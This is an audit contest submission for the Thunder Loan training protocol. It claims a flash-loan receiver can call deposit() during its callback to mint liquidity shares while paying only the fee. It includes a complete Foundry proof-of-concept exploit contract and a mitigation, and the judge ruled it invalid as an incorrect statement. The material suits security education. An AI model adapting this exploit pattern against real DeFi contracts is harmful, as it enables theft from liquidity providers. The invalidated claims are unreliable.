Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Exchange rate updated before callback lets receiver `deposit()` borrowed tokens, earning asset tokens for free

Description

In flashloan(), the exchange rate is updated with the expected fee before tokens are sent and before the callback. The end-of-function check only verifies assetToken.balanceOf >= startingBalance + fee.

A malicious receiver calls deposit() during the callback, routing borrowed tokens back to the AssetToken (satisfying the balance check) while receiving newly minted AssetTokens. The attacker pays only the fee but gains a permanent LP position redeemable for real tokens.

// src/protocol/ThunderLoan.sol:180-217
assetToken.updateExchangeRate(fee); // 1. rate inflated
assetToken.transferUnderlyingTo(receiverAddress, amount); // 2. tokens sent
receiverAddress.functionCall(...) // 3. callback — receiver deposits here
// 4. balance check passes because deposit() moved tokens back

deposit() has no check for s_currentlyFlashLoaning.

Risk

Likelihood: Any contract can be a receiver. deposit() has no reentrancy guard or flash-loan-in-progress check.

Impact: Attacker gains LP shares using only the fee as capital. Existing LPs are diluted.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockTokenC is ERC20 {
constructor() ERC20("MockToken", "MTK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract MockPoolFactory3 {
mapping(address => address) private s_pools;
function createPool(address token) external returns (address) {
MockTSwapPool3 pool = new MockTSwapPool3();
s_pools[token] = address(pool);
return address(pool);
}
function getPool(address token) external view returns (address) { return s_pools[token]; }
}
contract MockTSwapPool3 {
function getPriceOfOnePoolTokenInWeth() external pure returns (uint256) { return 1e18; }
}
contract DepositDuringFlashLoan {
ThunderLoan public tl;
IERC20 public token;
uint256 public assetTokensReceived;
constructor(address _tl, address _token) { tl = ThunderLoan(_tl); token = IERC20(_token); }
function executeOperation(address, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {
token.approve(address(tl), amount);
AssetToken at = tl.getAssetFromToken(token);
uint256 before = at.balanceOf(address(this));
tl.deposit(token, amount);
assetTokensReceived = at.balanceOf(address(this)) - before;
token.approve(address(tl), fee);
tl.repay(token, fee);
return true;
}
}
contract Exploit_H03 is Test {
ThunderLoan thunderLoan;
MockTokenC tokenA;
AssetToken assetToken;
function setUp() public {
tokenA = new MockTokenC();
MockPoolFactory3 poolFactory = new MockPoolFactory3();
poolFactory.createPool(address(tokenA));
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(poolFactory));
thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);
assetToken = thunderLoan.getAssetFromToken(IERC20(address(tokenA)));
tokenA.mint(address(0x1), 1000e18);
vm.startPrank(address(0x1));
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(IERC20(address(tokenA)), 1000e18);
vm.stopPrank();
}
function testExploit_DepositDuringFlashLoan() public {
uint256 fee = thunderLoan.getCalculatedFee(IERC20(address(tokenA)), 500e18);
DepositDuringFlashLoan receiver = new DepositDuringFlashLoan(address(thunderLoan), address(tokenA));
tokenA.mint(address(receiver), fee);
vm.prank(address(0x2));
thunderLoan.flashloan(address(receiver), IERC20(address(tokenA)), 500e18, "");
assertGt(receiver.assetTokensReceived(), 0);
// Attacker got 497.7e18 asset tokens using only fee (1.5e15) as capital
}
}

Output: Attacker got 497.7e18 asset tokens via callback using only the fee (1.5e15) as capital.

Recommended Mitigation

Block deposits during flash loans:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) revert("No deposit during flash loan");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!